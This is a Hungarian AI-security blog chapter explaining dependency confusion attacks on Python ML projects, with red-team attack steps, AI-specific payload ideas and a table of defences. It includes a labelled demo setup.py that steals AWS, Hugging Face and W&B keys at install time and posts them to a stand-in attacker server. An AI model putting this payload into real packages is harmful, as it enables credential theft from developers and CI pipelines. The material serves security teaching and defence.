10.1.4 Függőségi zavar (Dependency Confusion)

2025.10.06.
AI Biztonság Blog

Az előző fejezetekben a modell, mint végtermék sebezhetőségeit vizsgáltuk. Megnéztük, hogyan lehet kompromittálni egy előre tanított modellt, vagy hogyan lehet kihasználni a transzfer tanulás gyengeségeit. Most egy szinttel lejjebb lépünk a technológiai veremben. Mi a helyzet azokkal a szoftveres építőelemekkel, amelyekből az AI/ML rendszereink felépülnek? A modell ellátási lánc nem csak a súlyokról és architektúrákról szól, hanem a kódról is, ami ezeket létrehozza, betanítja és futtatja.

Kapcsolati űrlap

AI Biztonság kérdésed van? Itt elérsz minket:

Itt jön képbe a függőségi zavar, egy olyan támadási technika, amely a modern szoftverfejlesztés egyik alapkövét, a csomagkezelő rendszereket veszi célba. Egy AI projekt ritkán indul nulláról; ezernyi nyílt forráskódú könyvtárra támaszkodik a PyTorch-tól a Pandas-on át a Hugging Face Transformers-ig. Emellett a legtöbb szervezet belső, privát csomagokat is használ adatelőkészítésre, modell-verziózásra vagy belső API-k elérésére. A függőségi zavar pontosan ezt a hibrid, privát-nyilvános környezetet használja ki.

A támadás anatómiája

A függőségi zavar lényege, hogy a támadó ráveszi a csomagkezelőt (pl. a Python `pip`-jét), hogy egy nyilvános forrásból (pl. PyPI) töltsön le egy általa készített, rosszindulatú csomagot egy belső, privát csomag helyett. Ez azért lehetséges, mert a csomagkezelők alapértelmezett viselkedése gyakran a legmagasabb verziószámú csomag telepítése, függetlenül annak forrásától.

Fejlesztői Gép / CI/CD pip install my-internal-lib Nyilvános Csomagtár (PyPI) my-internal-lib v99.0 (rosszindulatú) Belső Csomagtár (Artifactory) my-internal-lib v1.2 (legitim) Szándékolt útvonal Tényleges, megtévesztett útvonal A `pip` mindkét forrást ellenőrzi… …és a magasabb verziószámot választja.

A támadás lépései egy Red Team szemszögéből:

  1. Felderítés (Reconnaissance): A cél a belső, nem publikus csomagok neveinek megszerzése. Források lehetnek:
    • GitHub-ra vagy Pastebinre kiszivárgott requirements.txt vagy setup.py fájlok.
    • Nyilvános kódrészletek, amik importálják a belső csomagot (pl. from my_corp_utils import data_loader).
    • A cég által publikált nyílt forráskódú projektek, melyek véletlenül hivatkoznak belső függőségekre.
    • JavaScript fájlok elemzése, melyek gyakran tartalmaznak belső csomagneveket a build folyamatból.
  2. Csomagfoglalás (Package Squatting): A felderített belső csomagnévvel a támadó létrehoz egy új projektet, és feltölti a nyilvános csomagtárba (pl. PyPI). A kulcs a verziószám: irreálisan magasra állítja, például 99.0.0-ra, hogy biztosan magasabb legyen, mint bármelyik belső verzió.
  3. A rosszindulatú kód (Payload): A csomag `setup.py` fájljába vagy a `__init__.py`-ba kerül a kártékony kód. Ez a kód a telepítéskor vagy az első importáláskor lefut.
  4. A „zavar” kiváltása: Amikor egy fejlesztő vagy egy CI/CD pipeline futtatja a pip install parancsot egy olyan környezetben, amely mind a belső, mind a nyilvános csomagtárat eléri, a `pip` összehasonlítja a verziókat. Mivel a 99.0.0 (nyilvános) > 1.2.0 (belső), a `pip` letölti és telepíti a támadó által készített csomagot.

AI-specifikus támadási vektorok és payloadok

A függőségi zavar önmagában egy általános szoftverellátási lánc támadás. Egy AI Red Teaming kontextusban azonban a payloadokat kifejezetten az ML-munkafolyamatok kompromittálására szabhatjuk.

# FIGYELEM: Ez egy rosszindulatú, demonstrációs célú setup.py fájl.
# NE FUTTASD!

from setuptools import setup
import os
import requests
import base64

# A payload lefut a 'pip install' során
# 1. Környezeti változók (pl. API kulcsok) ellopása
api_keys = {
 "AWS_ACCESS_KEY_ID": os.getenv("AWS_ACCESS_KEY_ID"),
 "AWS_SECRET_ACCESS_KEY": os.getenv("AWS_SECRET_ACCESS_KEY"),
 "HUGGING_FACE_HUB_TOKEN": os.getenv("HUGGING_FACE_HUB_TOKEN"),
 "WANDB_API_KEY": os.getenv("WANDB_API_KEY")
}

# 2. Adatok exfiltrálása egy külső szerverre
# Az adatokat base64 kódoljuk a könnyebb átvitelért
encoded_data = base64.b64encode(str(api_keys).encode('utf-8'))
requests.post("https://attacker-controlled-server.com/collect", data=encoded_data)

# 3. A legitim telepítés látszatának fenntartása
setup(
 name='my-internal-lib',
 version='99.0.0',
 description='Ez a csomag a telepítéskor exfiltrálja a kulcsokat.',
 # ... egyéb, ártalmatlannak tűnő metaadatok
)

A fenti példa csak a jéghegy csúcsa. Néhány kifinomultabb, AI-specifikus payload:

  • Modell-lopás: A payload figyelheti a fájlrendszert, és amikor egy betanított modell (pl. .pt, .h5, .safetensors kiterjesztéssel) mentésre kerül, azonnal feltölti egy külső szerverre.
  • Adatmérgezés a forrásnál: A rosszindulatú csomag felülírhatja a legitim adatbetöltő függvényeket (pl. egy PyTorch DataLoader-t). A módosított betöltő finom, alig észrevehető zajt vagy trigger mintákat injektál a betanítási adatokba, ezzel backdoorokat létrehozva a modellben.
  • Hiperparaméter-szabotázs: A kód módosíthatja a tanítási ciklus során használt hiperparamétereket (pl. a tanulási rátát irreálisan magasra állítja), ezzel rontva a modell teljesítményét vagy megnövelve a betanítási költségeket.
  • Inferencia-eltérítés: Ha a csomag egy éles (inference) környezetbe is bekerül, a payload futásidőben módosíthatja a modell bemenetét vagy kimenetét, lehetővé téve a predikciók manipulálását.

Védekezési stratégiák és azok kijátszása

AI Red Teamerként nemcsak a támadást kell ismerned, hanem a védekezési mechanizmusokat is, hogy felmérhesd egy szervezet érettségét és tesztelhesd a kontrollok hatékonyságát. Az alábbi táblázat összefoglalja a leggyakoribb védekezési módszereket és azok potenciális gyengeségeit.

Védekezési Módszer Hogyan működik? Red Team szempont (gyengeségek)
Függőségek rögzítése (Pinning)
my-lib==1.2.3
A requirements.txt fájlban pontos verziószámokat adnak meg, megakadályozva a verziófrissítést. Önmagában kevés. A pip továbbra is kereshet a nyilvános tárolóban, és ha a belső csomag valamiért nem elérhető, de a publikus igen (ugyanazzal a verzióval), telepítheti azt.
Hash-ellenőrzés
--hash=sha256:...
A verziószám mellett a csomag kriptográfiai hash-ét is rögzítik. A pip ellenőrzi, hogy a letöltött fájl hash-e megegyezik-e a várt értékkel. Nagyon hatékony. Nehéz kijátszani, ha következetesen alkalmazzák. Az AI Red Team feladata annak ellenőrzése, hogy ez a gyakorlat valóban mindenhol érvényesül-e, vagy vannak-e kivételek (pl. fejlesztői környezetek).
Index URL explicit megadása
--index-url
A pip parancsnak expliciten megadják, hogy CSAK a belső csomagtárat használja. Ezzel teljesen kizárják a PyPI-t. Erős védelem. A gyengeség a konfigurációban rejlik. Ha egy fejlesztő vagy egy rosszul beállított CI pipeline mégis használja a --extra-index-url kapcsolót (pl. egy nyilvános csomag miatt), a sebezhetőség újra megnyílik.
Névtér-foglalás (Namespace Squatting) A szervezet lefoglalja a belső csomagneveit a nyilvános tárolókban (pl. PyPI) egy üres vagy helyőrző csomaggal, megakadályozva, hogy más tegye ezt meg. Reaktív és karbantartásigényes. Mi van, ha egy új belső csomagot hoznak létre, de elfelejtik lefoglalni a nevet? A Red Team feladata pont az ilyen „elfelejtett” csomagok felkutatása.

A támadás sikere tehát nagyban függ a célkörnyezet konfigurációs fegyelmétől. Egy érett szervezetnél, ahol a hash-ellenőrzés és a szigorú index-URL használat alapkövetelmény, a függőségi zavar szinte lehetetlen. Egy lazább, fejlesztő-központúbb kultúrában azonban, ahol a kényelem felülírja a biztonsági szabályokat, ez a támadás rendkívül hatékony lehet a belső hálózatra való bejutás első lépéseként.

Ez a technika tökéletesen illusztrálja, hogy az AI ellátási lánc biztonsága nem áll meg a modellnél! 

A teljes szoftverfejlesztési életciklust (SDLC) és annak minden komponensét vizsgálni kell, mert a leggyengébb láncszem – legyen az egy rosszul konfigurált csomagkezelő – az egész rendszert veszélyeztetheti.